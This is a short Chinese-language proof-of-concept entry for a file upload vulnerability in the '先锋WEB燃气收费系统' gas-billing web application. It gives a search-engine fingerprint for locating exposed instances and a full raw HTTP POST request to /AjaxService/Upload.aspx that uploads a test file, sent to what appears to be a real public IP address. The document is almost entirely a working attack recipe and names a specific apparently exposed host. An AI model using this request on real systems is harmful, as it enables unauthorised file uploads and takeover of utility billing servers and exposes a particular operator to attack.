先锋WEB燃气收费系统文件上传漏洞

指纹特征

app="先锋WEB燃气收费系统"

漏洞复现

访问http://ip:port/AjaxService/Upload.aspx验证
出现以下情况表明存在漏洞

POST /AjaxService/Upload.aspx HTTP/1.1
Host: 114.215.202.17:9004
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------361231835115122267584155400789
Content-Length: 359
Origin: null
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------361231835115122267584155400789
Content-Disposition: form-data; name="Fdata"; filename="test.txt"
Content-Type: application/octet-stream

test

-----------------------------361231835115122267584155400789
Content-Disposition: form-data; name="submit"

Submin
-----------------------------361231835115122267584155400789--